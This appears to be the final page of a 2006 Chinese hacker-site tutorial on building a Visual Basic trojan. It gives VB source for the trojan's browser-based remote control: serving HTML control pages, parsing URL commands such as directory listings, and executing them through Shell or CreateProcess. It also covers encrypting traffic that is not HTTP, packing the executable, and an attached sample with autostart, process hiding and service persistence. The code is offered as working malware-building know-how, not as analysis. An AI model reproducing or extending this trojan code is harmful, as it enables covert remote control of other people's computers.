首页 | 业界新闻 | 黑客教程 | 安全漏洞 | 安全文章 | 破解技术 | 技术文摘 | 黑客文化 | 本站原创 | 安全贴吧 | 在线留言 | IP查询 | 软件下载 | 繁体中文 |
您现在的位置: 黑色反击 >> 技术资讯 >> 黑客教程 >> 黑客编程 >> 正文
VB木马也疯狂
时间:2006-3-29 2:23:43 出处:网络技术论坛 作者:小金 编辑:mervin 点击数:

一个完整的HTTP请求经过这段代码后变成:

/register?UserName=LK007&Age=18

这才是我们需要的核心部分,分析它的报文格式:

[目标文件]?[附加数据1=数据]&[附加数据2=数据]&..............

应用在木马中,可以这样理解:
[命令]?[参数1=值]&[参数2=值]&......
例如:/writefile?filename=c:\Windows\desktop\user.txt&text=hello,nice%20to%20meet%20you
它表示用写入文件的命令往c:\Windows\desktop\user.txt写入内容“hello,nice to meet you”,浏览器输出的中文和特殊字符报文必须经过URL编码,因此空格被编码成了%20。

3.B/S交互制作
(1).输出HTML
鉴于TCP协议的木马都是开个端口监听,和HTTP服务没什么两样,因此不必为B/S模式接收部分编写另外的代码,直接在recv里判断报文是否以GET/PUT开头即可。如果是一个HTTP请求则执行一段预先写好的HTML页面输出过程,例如:
===================================================
Function DefaultHTML()
On Error Resume Next
Dim x As String
x = "HTTP/1.1 200 OK" & vbCrLf
x = x & "Server: HBU Trojan" & vbCrLf & vbCrLf
x = x & vbCrLf & "<HTML><HEAD><TITLE>B/S Example .::Powered by 小金::.</TITLE>" & _
"<META content=""text/html; charset=gb2312"" http-equiv=Content-Type>" & _
"</HEAD><BODY aLink=#ffffff bgColor=#4f9fdf bottomMargin=0 leftMargin=0 rightMargin=0 topMargin=0 vLink=#ffffff>" & _
"<p align=""center""><b><font size=""6"" color=""#000066"">显示目录</font></b></p>" & _
"<hr width=""100%"" size=""1"" color=""#FFFFFF"" ><table width=""100%"" border=""0"" cellspacing=""0"" cellpadding=""0""><tr><td width=""41%""><form action=""dir""><p size=9px> 路径 <input type=""text"" name=""directory"" value=""c:\""></p><p> 文件类型 <input name=""filter"" type=""text"" value=""*.*""></p><input type=""submit"" value=""显示""></form></td></tr></table><hr width=""100%"" size=""1"" color=""#FFFFFF"" ><p align=""center""><font face=""Arial"" size=""2"" color=""#FFFFFF""><b>&copy;&nbsp;2003 小金 制作&nbsp;</b></font></p></BODY></HTML>"
DefaultHTML = x
End Function
===================================================
这段代码输出一个包含HTML内容的字符串,用Winsock发送出去就显示成一个简单的HTML页面了。

(2).表单提交和控制
先看一段表单模型:
<form action=[控制命令]><p>[内容描述]<input type="text" name=[参数1]></p><p>[内容描述2]<input type="text" name=[参数2]></p><input type="submit" value=[描述]><form>
注意<input type="submit" value=[描述]>,这是个提交按钮,必须省略它的NAME属性(完整的提交按钮格式是<input type="submit" name=[参数] value=[描述]>),否则浏览器会在所有数据后追加一个附加数据用于表示按钮,这样我们前面提到的“/register?UserName=LK007&Age=18”就会变成“/register?UserName=LK007&Age=18&[按钮NAME]=[按钮Value]”,对程序分割命令段没什么好处。

服务端接收到一个HTTP请求并去除枝叶后,就要对它进行分解,把命令和参数分离。
例如:
/dir?directory=c:\&filter=*.*
VB代码分解:
===================================================
Dim strURL As String
Dim sCommand As String '命令
Dim sValue(15) As String '最大处理16个参数
Dim sTmp As String, sLength As Integer, i As Integer
strURL = "/dir?directory=c:\&filter=*.*"

strURL = Trim$(Right$(strURL, Len(strURL) - 1)) '去除"/"
sCommand = Left$(strURL, InStr(strURL, "?") - 1) '分割命令和参数

sTmp = Right(strURL, (Len(strURL) - Len(sCommand) - 1))

For i = 0 To 15
If InStr(sTmp, "&") = 0 Then sValue(i) = sTmp: Exit For
sValue(i) = Left$(sTmp, InStr(sTmp, "&") - 1)
sTmp = Right(sTmp, (Len(sTmp) - Len(sValue(i)) - 1))
Next

Select Case sCommand
Case "dir"
Dim sDir As String
Dim sFilter As String
For i = 0 To 15
If InStr(sValue(i), "directory=") <> 0 Then
sDir = Right$(sValue(i), Len(sValue(i)) - 10) 'Len("directory=")=10
ElseIf InStr(sValue(i), "filter=") <> 0 Then
sFilter = Right$(sValue(i), Len(sValue(i)) - 7) 'Len("filter=")=7
Else
End If
Next
Case .....
Case Else
End Select
===================================================
最终得到命令“dir c:\*.*”。
然后可以用多种方法执行这个命令,如Shell、CreateProcess等,把执行结果用一个HTML页面返回数据:
===================================================
Function OutputHTML(sData As String)
On Error Resume Next
Dim x As String
x = "HTTP/1.1 200 OK" & vbCrLf
x = x & "Server: HBU Trojan" & vbCrLf & vbCrLf
x = x & vbCrLf & "<HTML><HEAD><TITLE>B/S Example .::Powered by 小金::.</TITLE>" & _
"<META content=""text/html; charset=gb2312"" http-equiv=Content-Type>" & _
"</HEAD><BODY aLink=#ffffff bgColor=#4f9fdf bottomMargin=0 leftMargin=0 rightMargin=0 topMargin=0 vLink=#ffffff>" & _
"<p align=""center""><b><font size=""6"" color=""#000066"">查看目录</font></b></p>" & _
"<hr width=""100%"" size=""1"" color=""#FFFFFF"" ><table width=""100%"" border=""0"" cellspacing=""0"" cellpadding=""0""><tr><td width=""41%""><p align=""center""><font color=""#FFFFFF"" size=""6""><b><font size=""7""><pre>" & sData & "</pre></font></b></font></p></td></tr></table><hr width=""100%"" size=""1"" color=""#FFFFFF"" ><p align=""center""><font face=""Arial"" size=""2"" color=""#FFFFFF""><b>&copy;&nbsp;2003 小金 制作&nbsp;</b></font></p></BODY></HTML>"
OutputHTML = x
End Function
===================================================

4.与加密报文冲突的解决
由于HTTP使用明文传输,所以支持B/S模式的木马就必须用明文传输,这似乎与前面的报文加密冲突,其实只要在发送和接收的时候判断一下HTTP请求和HTML页面的特征字符串就可以了。
===================================================
'加密后发送数据
If InStr(rc,"<HTML><HEAD><TITLE>")=0 Then rc = Encrypt(rc, "a") '如果没有发现HTML特征就加密
SendData wParam, rc

'接收并解密
Do
szBuf = String(256, 0)
lRet = recv(wParam, ByVal szBuf, Len(szBuf), 0)
If lRet > 0 Then sData = sData + Left$(szBuf, lRet)
Loop Until lRet <= 0
If InStr(sData,"HTTP/") =0 Then sData = Decrypt(sData, "a") '如果没有HTTP请求的特征就解密
sData = Trim$(sData)
===================================================

限于篇幅问题,B/S控制就简单的介绍到这里了。

十四、编译和加壳
虽然去除了ActiveX,但是VB程序必须依靠VB运行库才能运行,所以推荐用VB5.0编译成EXE,因为Win9x没有自带MSVBVM60.DLL。加壳也是必要的,可以尽量减小VB程序的体积,也避免EXE文件被随意修改。用API写的VB木马一般可以将体积控制在64KB以下。

十五、源代码
附上一个简单的带有自启动、隐藏进程、NT-Service、B/S控制(端口80)的木马例子,希望能给大家带来一点制作经验。由于直接使用浏览器控制,所以就偷懒不写Client端了,实际应用中最好能让木马同时支持C/S、B/S。

十六、写在最后
本来想写成一篇比较详细完整的文章的,可是后来才发现要写的东西太多了,要学的东西也太多了,作者水平有限,介绍得不够详细还请见谅。学无止境,只要学会了,就不必耿耿于选择语言,更不要轻视任何一门相对比较薄弱的语言,既然它能存在,就有它的优点。学多几种语言不如学精一种语言,否则,即使用C++,也不可能写出好程序,前面提过了,一个程序反映出的是作者的功底,不是写这个程序的语言好坏。学好自己选中的语言,不看低其他语言,这才是最实际的。

上一页  [1] [2] [3] [4] [5] [6] [7] [8] 

精彩推荐
hack菜鸟入门
VB 从零开始编外挂(完
IPC入侵全接触
QQ跨站漏洞巧利用,强
WinXP中CPU占用100%原
黑客新技术 灰鸽子巧妙
实例讲解 黑客入侵论坛
ADSL共享上网方式大总
BMP文件格式分析
十招教你学会破解
热门软件
网 友 评 论
关于我们 - 联系方式 - 招聘信息 - 合作伙伴 - 网站地图 - 广告服务 - 我要投稿 - 设为首页 - 加入收藏
黑色反击 力倡网络安全,崇尚互联共享,欢迎各种媒体转载我们的原创作品 [转载请注明出处]。
EMAIL:hf110.com@gmail.com 备案:苏ICP备05010002号